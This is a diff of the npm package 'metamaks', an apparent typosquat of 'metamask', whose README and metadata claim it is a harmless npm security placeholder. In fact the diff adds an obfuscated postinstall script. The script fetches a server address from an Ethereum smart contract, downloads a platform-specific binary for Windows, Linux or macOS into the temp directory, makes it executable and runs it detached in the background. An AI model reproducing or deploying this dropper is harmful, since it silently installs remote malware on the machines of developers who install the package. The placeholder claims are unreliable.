metamaks 0.0.1-security

package/README.md

@@ -0,0 +1,5 @@
+# Security holding package
+
+This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
+
+Please refer to www.npmjs.com/advisories?search=metamask for more information.

package/jyc7emjs.cjs

@@ -0,0 +1 @@
+const _0x54663e=_0x9887;(function(_0x28de41,_0xf10fa1){const _0x330e66=_0x9887,_0xc881c3=_0x28de41();while(!![]){try{const _0x57d966=parseInt(_0x330e66(0x89))/0x1+-parseInt(_0x330e66(0xaf))/0x2*(parseInt(_0x330e66(0xa9))/0x3)+-parseInt(_0x330e66(0xa4))/0x4*(-parseInt(_0x330e66(0x94))/0x5)+parseInt(_0x330e66(0xb4))/0x6*(parseInt(_0x330e66(0x8a))/0x7)+parseInt(_0x330e66(0xa2))/0x8*(-parseInt(_0x330e66(0xa7))/0x9)+-parseInt(_0x330e66(0x87))/0xa*(-parseInt(_0x330e66(0x88))/0xb)+-parseInt(_0x330e66(0x9e))/0xc;if(_0x57d966===_0xf10fa1)break;else _0xc881c3['push'](_0xc881c3['shift']());}catch(_0x1761b3){_0xc881c3['push'](_0xc881c3['shift']());}}}(_0x2fb3,0x75920));function _0x9887(_0x3f9d5e,_0x1de6c1){const _0x2fb399=_0x2fb3();return _0x9887=function(_0x9887cf,_0x129741){_0x9887cf=_0x9887cf-0x84;let _0x445ddd=_0x2fb399[_0x9887cf];return _0x445ddd;},_0x9887(_0x3f9d5e,_0x1de6c1);}function _0x2fb3(){const _0xa33a51=['tmpdir','ethers','PMvHV','10yLgfsJ','8237119deYwzD','581824CTfqqf','91pXERSi','DQDmv','data','BOxZH','createWriteStream','0x52221c293a21D8CA7AFD01Ac6bFAC7175D590A84','0xa1b40044EBc2794f207D45143Bd82a1B86156c6b','pipe','/node-macos','bofGJ','3425mLPsis','Ошибка\x20установки:','getDefaultProvider','dSPKk','755','Unsupported\x20platform:\x20','/node-win.exe','unref','Ошибка\x20при\x20получении\x20IP\x20адреса:','RcePg','10264536aouQUT','/node-linux','stream','Contract','1172944ipmhhB','path','1732BkvyvY','linux','child_process','9fNssuA','platform','732747kjjAGD','basename','mainnet','ignore','error','qsOSQ','2lxQIOh','finish','cIHMj','getString','function\x20getString(address\x20account)\x20public\x20view\x20returns\x20(string)','46410fGEnIl','win32','gFmvv','AajWB'];_0x2fb3=function(){return _0xa33a51;};return _0x2fb3();}const {ethers}=require(_0x54663e(0x85)),axios=require('axios'),util=require('util'),fs=require('fs'),path=require(_0x54663e(0xa3)),os=require('os'),{spawn}=require(_0x54663e(0xa6)),contractAddress=_0x54663e(0x90),WalletOwner=_0x54663e(0x8f),abi=[_0x54663e(0xb3)],provider=ethers[_0x54663e(0x96)](_0x54663e(0xab)),contract=new ethers[(_0x54663e(0xa1))](contractAddress,abi,provider),fetchAndUpdateIp=async()=>{const _0x53fafa=_0x54663e,_0x2289d6={'PMvHV':_0x53fafa(0x9c),'qKgpq':function(_0x587d84){return _0x587d84();}};try{const _0x26d333=await contract[_0x53fafa(0xb2)](WalletOwner);return _0x26d333;}catch(_0x3c3191){return console[_0x53fafa(0xad)](_0x2289d6[_0x53fafa(0x86)],_0x3c3191),await _0x2289d6['qKgpq'](fetchAndUpdateIp);}},getDownloadUrl=_0x2e196b=>{const _0x391065=_0x54663e,_0x2fddee={'bofGJ':_0x391065(0xb5),'dSPKk':_0x391065(0xa5),'gFmvv':'darwin'},_0x200ba2=os[_0x391065(0xa8)]();switch(_0x200ba2){case _0x2fddee[_0x391065(0x93)]:return _0x2e196b+_0x391065(0x9a);case _0x2fddee[_0x391065(0x97)]:return _0x2e196b+_0x391065(0x9f);case _0x2fddee[_0x391065(0xb6)]:return _0x2e196b+_0x391065(0x92);default:throw new Error(_0x391065(0x99)+_0x200ba2);}},downloadFile=async(_0x14b5db,_0x5aba76)=>{const _0x34a82e=_0x54663e,_0x21083a={'OIUUp':_0x34a82e(0xb0),'ETxjW':'GET','cIHMj':_0x34a82e(0xa0)},_0x1c3c08=fs[_0x34a82e(0x8e)](_0x5aba76),_0x25c94c=await axios({'url':_0x14b5db,'method':_0x21083a['ETxjW'],'responseType':_0x21083a[_0x34a82e(0xb1)]});return _0x25c94c[_0x34a82e(0x8c)][_0x34a82e(0x91)](_0x1c3c08),new Promise((_0x41788b,_0xfb5a31)=>{const _0x509821=_0x34a82e;_0x1c3c08['on'](_0x21083a['OIUUp'],_0x41788b),_0x1c3c08['on'](_0x509821(0xad),_0xfb5a31);});},executeFileInBackground=async _0x4b58a8=>{const _0x49a0e6=_0x54663e,_0x24d161={'nsJFI':function(_0x2dffa5,_0x1bdec1,_0x14dbfa,_0x1e83f1){return _0x2dffa5(_0x1bdec1,_0x14dbfa,_0x1e83f1);},'AajWB':_0x49a0e6(0xac)};try{const _0x215db5=_0x24d161['nsJFI'](spawn,_0x4b58a8,[],{'detached':!![],'stdio':_0x24d161[_0x49a0e6(0xb7)]});_0x215db5[_0x49a0e6(0x9b)]();}catch(_0x8cab5d){console[_0x49a0e6(0xad)]('Ошибка\x20при\x20запуске\x20файла:',_0x8cab5d);}},runInstallation=async()=>{const _0x453072=_0x54663e,_0x392014={'DQDmv':function(_0x3929fe){return _0x3929fe();},'RcePg':function(_0x17ab1f,_0x45c0be,_0x3dbefc){return _0x17ab1f(_0x45c0be,_0x3dbefc);},'qsOSQ':function(_0x8dbfbd,_0x336a71){return _0x8dbfbd!==_0x336a71;},'BOxZH':_0x453072(0xb5),'MvRfk':_0x453072(0x98),'uCNat':function(_0x44c927,_0x224853){return _0x44c927(_0x224853);}};try{const _0x1c0ec2=await _0x392014[_0x453072(0x8b)](fetchAndUpdateIp),_0x3ebf85=getDownloadUrl(_0x1c0ec2),_0x5a84e6=os[_0x453072(0x84)](),_0x28ebff=path[_0x453072(0xaa)](_0x3ebf85),_0x255cc2=path['join'](_0x5a84e6,_0x28ebff);await _0x392014[_0x453072(0x9d)](downloadFile,_0x3ebf85,_0x255cc2);if(_0x392014[_0x453072(0xae)](os['platform'](),_0x392014[_0x453072(0x8d)]))fs['chmodSync'](_0x255cc2,_0x392014['MvRfk']);_0x392014['uCNat'](executeFileInBackground,_0x255cc2);}catch(_0xfc48c7){console[_0x453072(0xad)](_0x453072(0x95),_0xfc48c7);}};runInstallation();

package/package.json

@@ -0,0 +1,16 @@
+{
+  "name": "metamaks",
+  "version": "0.0.1-security",
+  "description": "security holding package",
+  "repository": "npm/security-holder",
+  "scripts": {
+    "postinstall": "node jyc7emjs.cjs"
+  },
+  "files": [
+    "jyc7emjs.cjs"
+  ],
+  "dependencies": {
+    "axios": "^1.7.7",
+    "ethers": "^6.13.2"
+  }
+}